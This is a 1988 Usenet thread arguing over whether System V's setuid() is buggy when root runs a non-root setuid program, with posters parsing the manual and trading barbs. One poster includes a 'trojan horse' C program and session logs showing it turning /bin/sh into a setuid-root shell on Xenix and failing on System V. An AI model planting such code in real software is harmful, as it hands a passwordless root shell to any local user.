boyd@basser.oz (Boyd Roberts) (07/13/88)
I'm root and I run a non-root setuid executable. Then I want to fork() a shell and do the usual: setuid(getuid()) Of course, I get EPERM, because setuid() is broken. Now is this a generic System V bug. I think it is. Clarification please? I think what I have is pretty generic SysV. V8 & 32V do the _right_ thing, they work. System V has, of course, a mind of it's own. I _know_ it's a bit silly, but it should _work_. UNIX did. Boyd Roberts boyd@basser.cs.su.oz boyd@necisa.necisa.oz ``When the going gets wierd, the weird turn pro...''
jfh@rpp386.UUCP (John F. Haugh II) (07/14/88)
In article <1305@basser.oz> boyd@basser.oz (Boyd Roberts) writes: >I'm root and I run a non-root setuid executable. Then I want >to fork() a shell and do the usual: > > setuid(getuid()) > >Of course, I get EPERM, because setuid() is broken. Now is this >a generic System V bug. I think it is. Clarification please? no, according to SETUID(2), you got the correct behaviour, and on close examination, that is the CORRECT behavior. consider, running the a.out SUID sets the EFFECTIVE UID to the non-root user. getuid(2) returns the REAL UID which equals ROOT. and from the manual Setuid (setgid) will fail if the real user (group) ID of the calling process is not equal to uid (gid) and its effective user ID is not super-user. [ EPERM ] the real user ID is ROOT and the uid is ROOT. however, the effective user ID is not ROOT, so the call fails with EPERM. this `feature' prevents a trojan horse from doing a if (getuid () == 0) { setuid (0); chown ("/bin/sh", 0, 0); chmod ("/bin/sh", 04711); } thereby giving you the famed password free su command. - john. -- John F. Haugh II +--------- Cute Chocolate Quote --------- HASA, "S" Division | "USENET should not be confused with UUCP: killer!rpp386!jfh | something that matters, like CHOCOLATE" DOMAIN: jfh@rpp386.uucp | -- with my apologizes
wilber@alice.UUCP (07/15/88)
John F. Haugh writes: }>In article <1305@basser.oz> boyd@basser.oz (Boyd Roberts) writes: }>I'm root and I run a non-root setuid executable. Then I want }>to fork() a shell and do the usual: }> }> setuid(getuid()) }> }>Of course, I get EPERM, because setuid() is broken. Now is this }>a generic System V bug. I think it is. Clarification please? This is, apparently, a generic System V bug. At least it exists, as I have recently discovered, on the 3b1 and PC 6300+. }no, according to SETUID(2), you got the correct behaviour, and on }close examination, that is the CORRECT behavior. } }consider, running the a.out SUID sets the EFFECTIVE UID to the }non-root user. getuid(2) returns the REAL UID which equals }ROOT. and from the manual } } Setuid (setgid) will fail if the real user (group) ID } of the calling process is not equal to uid (gid) and } its effective user ID is not super-user. [ EPERM ] } }the real user ID is ROOT and the uid is ROOT. however, the }effective user ID is not ROOT, so the call fails with EPERM. Please learn to parse English. Setuid requires two conditions for failure: (1) The real user ID of the calling process is not equal to uid. *and* (2) The effective user ID is not super-user. Only condition (2) fails so setuid should succeed. One could, if one were perverse, parse the sentence to mean "Setuid will fail if the real user ID of the calling process is not equal to uid and setuid will fail if the effective user ID is not super-user." If this interpretation were correct that would mean that only processes running with the effective user id of root could ever use setuid, which is not correct. This interpretation would also mean that even processes running suid to root would only be be able to use setuid to change the effective uid to the real uid, which is also not correct -- when running with the effective uid of root a process can setuid to anything, regardless of the real user ID. To quote the paragraph of the manual preceding the one quoted by Mr. Haugh, If the effective user id of the calling process is not super-user, but its real user id is equal to uid, the the effective user id is set to uid. }this `feature' prevents a trojan horse from doing a } } if (getuid () == 0) { } setuid (0); } chown ("/bin/sh", 0, 0); } chmod ("/bin/sh", 04711); } } } }thereby giving you the famed password free su command. This "feature" only prevents the security breach when the process is running suid to something other than root. At least 95% of all programs don't run suid to anything -- they take on the effective id of whoever calls them. So you can put that code (minus the "setuid(0);" statement) in any program that doesn't have the suid bit set -- grep, cat, ls, patch, whatever -- and if the super- user uses the program the trojan horse succeeds. The moral is that you should never run anything as super-user that you don't *really* trust. (BTW, you'd better change the mode mask to 04755 if you want to crack Unix security, otherwise you've created a sh that's suid to root but can only be run by root.) The bug in setuid is a serious one. There are two lousy ways to work around it. You can resign yourself to the fact that everybody *except* the super-user can run the program. Or you can change the owner of the program to root, and run it suid to root. Then everyone can run the program, including the super- user, but of course you have drastically reduced the security of your system. Bob Wilber (apparently not the only non-wizard posting to this newsgroup)
boyd@basser.oz (Boyd Roberts) (07/15/88)
In article <3942@rpp386.UUCP> jfh@rpp386.UUCP (The Beach Bum) writes: >this `feature' prevents a trojan horse from doing a > > if (getuid () == 0) { > setuid (0); > chown ("/bin/sh", 0, 0); > chmod ("/bin/sh", 04711); > } > >thereby giving you the famed password free su command. > No, you have just _lost_ BIG. How do I become root with this _alleged_ trojan horse. Are we saying that our systems are full of holes? I think we are. Are we not? Security violations usually occur due to bad file-system permissions or dozey setuid programs. Think about ex*preserve, back a while. If getuid() returns 0, I AM ROOT, dammit. I AM _REALLY_ ROOT. When I am _really_ root I can do anything I damn please, except on System V. Check out the System V exec code, where it does the setuid (gid) stuff. It is broken. System V setuid() is severly broken. Here I am, _really_ root, but _effectively_ some dumb mortal (back in the _old_days_ root was not affected by setuid (gid) bits) and I can't set my real and effective uid to my real uid. Surely some mistake. It is NOT the UNIX way to systematically break the kernel to support paranoid delusions of grandeur. Security hole, trojan horse... don't make me laugh. Where are the kernel hacks of yesteryear who actually _understood_ the kernel? At times like these I reach for my V6 source listing and read the code. In those days the original implementors _knew_ the deal and did the _job_. It _never_ ceases to amaze me at what comes out of AT&T (USG?). Come System 5.5 and I'll be satisfied. OS/360 written in C. Boyd Roberts boyd@basser.cs.su.oz boyd@necisa.necisa.oz ``When the going gets wierd, the weird turn pro...''
ka@june.cs.washington.edu (Kenneth Almquist) (07/16/88)
> In article <1305@basser.oz> boyd@basser.oz (Boyd Roberts) writes: >> I'm root and I run a non-root setuid executable. Then I want >> to fork() a shell and do the usual: >> >> setuid(getuid()) >> >> Of course, I get EPERM, because setuid() is broken. Now is this >> a generic System V bug. I think it is. Clarification please? This bug has been in AT&T UNIX (System V and its predecessors) for quite a while. I found it last summer when I was working for AT&T, and my supervisor told me to forget about trying to get it fixed since it was in the machine independent part of UNIX. So I made my program setuid to root rather than using a less dangerous uid. This may work for you as well. I will devote the rest of this article to correcting John Haugh's comments. Uninterested readers hit `n' now. > consider, running the a.out SUID sets the EFFECTIVE UID to the > non-root user. getuid(2) returns the REAL UID which equals > ROOT. and from the manual > > Setuid (setgid) will fail if the real user (group) ID > of the calling process is not equal to uid (gid) and > its effective user ID is not super-user. [ EPERM ] > > the real user ID is ROOT and the uid is ROOT. however, the > effective user ID is not ROOT, so the call fails with EPERM. You misread the manual. The effective user ID is equal to uid, so the call to setuid should succeed. > this `feature' prevents a trojan horse from doing a > > if (getuid () == 0) { > setuid (0); > chown ("/bin/sh", 0, 0); > chmod ("/bin/sh", 04711); > } > > thereby giving you the famed password free su command. A version of UNIX in which the "chmod" system call didn't work would also be safe from this particular attack on security. And speaking of security, I've come up with a way to system crackers from logging into your system even if they steal one of your user's passwords. The technique? Remove the login program. :-) I hope you don't really think that UNIX will protect you if you run a Trojan horse program, setuid bugs or not. The only way to protect yourself from Trojan horse programs is not to run them, especially if you are superuser. Kenneth Almquist
jfh@rpp386.UUCP (John F. Haugh II) (07/17/88)
In article <1312@basser.oz> boyd@basser.oz (Boyd Roberts) writes: >System V setuid() is severly broken. Here I am, _really_ root, >but _effectively_ some dumb mortal (back in the _old_days_ root >was not affected by setuid (gid) bits) and I can't set my real >and effective uid to my real uid. Surely some mistake. yes, i RTFM'd and posted stupidity. however, to make matters worse, my supposedly SVID compliant Xenix kernel works as you desire and allows one to slip in the piece of code i mentioned with the expected consequences as i mentioned. here is the script file from executing the code here on rpp386: 1 - #rpp386-> cat trojan.c #include <stdio.h> main () { printf ("my effective uid == %d, my real uid == %d\n", geteuid (), getuid ()); if (getuid () == 0) { puts ("i am being executed by root!!!"); if (setuid (0) == -1) puts ("boohoo, couldn't set my EFFECTIVE uid to 0"); printf ("i am now effectively %d, and really %d\n", geteuid (), getuid ()); if (chown ("/bin/sh", 0, 0) == -1) puts ("boohoo, couldn't chown /bin/sh to root"); if (chmod ("/bin/sh", 04711) == -1) puts ("boohoo, couldn't chmod /bin/sh to SUID"); } else puts ("sigh, i am being executed by joe user"); puts ("let's see what /bin/sh looks like now ..."); fflush (stdout); system ("ls -l /bin/sh"); } 2 - #rpp386-> cc -o trojan trojan.c trojan.c 3 - #rpp386-> chown jfh trojan 4 - #rpp386-> chmod 4711 trojan 5 - #rpp386-> ls -l trojan -rws--x--x 1 jfh root 11783 Jul 16 12:24 trojan 6 - #rpp386-> ls -l /bin/sh -rwx--x--x 2 bin bin 45084 Jun 23 1987 /bin/sh 7 - #rpp386-> trojan my effective uid == 100, my real uid == 0 i am being executed by root!!! i am now effectively 0, and really 0 let's see what /bin/sh looks like now ... -rws--x--x 2 root root 45084 Jun 23 1987 /bin/sh 8 - #rpp386-> exit okay, it works the way you want it to with the consequences i predicted. now, here is the system i was thinking of, which is a real system v machine: 1 - su-#pigs-> cc -o trojan trojan.c 2 - su-#pigs-> chown haugj trojan 3 - su-#pigs-> chmod 4711 trojan 4 - su-#pigs-> ls -l trojan -rws--x--x 1 haugj sys 23709 Jul 16 12:29 trojan 5 - su-#pigs-> ls -l /bin/sh -rwxrwxr-x 1 bin bin 59519 Jun 30 1987 /bin/sh 6 - su-#pigs-> trojan my effective uid == 231, my real uid == 0 i am being executed by root!!! boohoo, couldn't set my EFFECTIVE uid to 0 i am now effectively 231, and really 0 boohoo, couldn't chown /bin/sh to root boohoo, couldn't chmod /bin/sh to SUID let's see what /bin/sh looks like now ... -rwxrwxr-x 1 bin bin 59519 Jun 30 1987 /bin/sh 7 - su-#pigs-> exit this has the results you can't stand, but doesn't allow one to have a suid program suddenly do things it shouldn't. i'm not certain what the exact cause of this behavior is since i don't have the source to os/sys?.c in front of my face at this moment. but whatever it is, i like it and think it is just as important as not including . in ones PATH as root. the worst of the stupidity was claiming that because the euid wasn't root the call would fail. under the third paragraph, the call should succeed as indeed it did on xenix. (the manual is ``unix system user's manual, release 5.0, june 1982. the xenix manual has that as paragraph four.) the 7th edition manual was worse. its description reads: The user ID (group ID) of the current process is set to the argument. Both the effective and the real ID are set. These calls are only permitted to the super-user, unless the argument is the real ID. - john. -- John F. Haugh II +--------- Cute Chocolate Quote --------- HASA, "S" Division | "USENET should not be confused with UUCP: killer!rpp386!jfh | something that matters, like CHOCOLATE" DOMAIN: jfh@rpp386.uucp | -- with my apologizes
jfh@rpp386.UUCP (John F. Haugh II) (07/17/88)
In article <8043@alice.UUCP> wilber@alice.UUCP writes: >Please learn to parse English. Setuid requires two conditions for >failure: > (1) The real user ID of the calling process is not equal to uid. >*and* (2) The effective user ID is not super-user. yes, my english parser failed. read the other article posted on this topic by myself and perhaps the net may appreciate my confusion ... - john. -- John F. Haugh II +--------- Cute Chocolate Quote --------- HASA, "S" Division | "USENET should not be confused with UUCP: killer!rpp386!jfh | something that matters, like CHOCOLATE" DOMAIN: jfh@rpp386.uucp | -- with my apologizes
boyd@basser.oz (Boyd Roberts) (07/18/88)
In article <5292@june.cs.washington.edu> ka@june.cs.washington.edu (Kenneth Almquist) writes: > >I hope you don't really think that UNIX will protect you if you run >a Trojan horse program, setuid bugs or not. The only way to protect >yourself from Trojan horse programs is not to run them, especially if >you are superuser. > Kenneth Almquist Correct, this _is_ the bottom line. With the protect-against-total-disaster attitude prevailing, in the face of common sense, the logical extension is to: 1. put on your nuke/chemical warfare suit (with gas-mask) 2. enter your underground nuke-proof shelter 3. encase your UNIX box in a serious ``over-pressure'' resistant room 4. get yourself an ASR-33 (resists EMP) tty 5. cable up your tty using serious MIL spec EMP-proof shielded cables. 6. rip setuid out of the kernel 7. turn ``-i'' on in ``rm'' permanently and 8. use ``ed'' to write your programs Now, is that safe enough, or am I being silly? Also, I have _actually_ RTFM-ed and still couldn't believe that such stupidity could actually be implemented, so I read the code. It had. By the way, read kill(2). It's a scream. Boyd Roberts boyd@basser.cs.su.oz boyd@necisa.necisa.oz ``When the going gets wierd, the weird turn pro...''
boyd@basser.oz (Boyd Roberts) (07/18/88)
In article <4061@rpp386.UUCP> jfh@rpp386.UUCP (The Beach Bum) writes: >yes, i RTFM'd and posted stupidity. however, to make matters >worse, my supposedly SVID compliant Xenix kernel works as you >desire and allows one to slip in the piece of code i mentioned >with the expected consequences as i mentioned. > > ... Ho hum. Bugger RTFM. Either you should test it or RTFC[ode]. I've RTFM'd & RTFC'd. Did anyone else? Boyd Roberts boyd@basser.cs.su.oz boyd@necisa.necisa.oz ``When the going gets wierd, the weird turn pro...''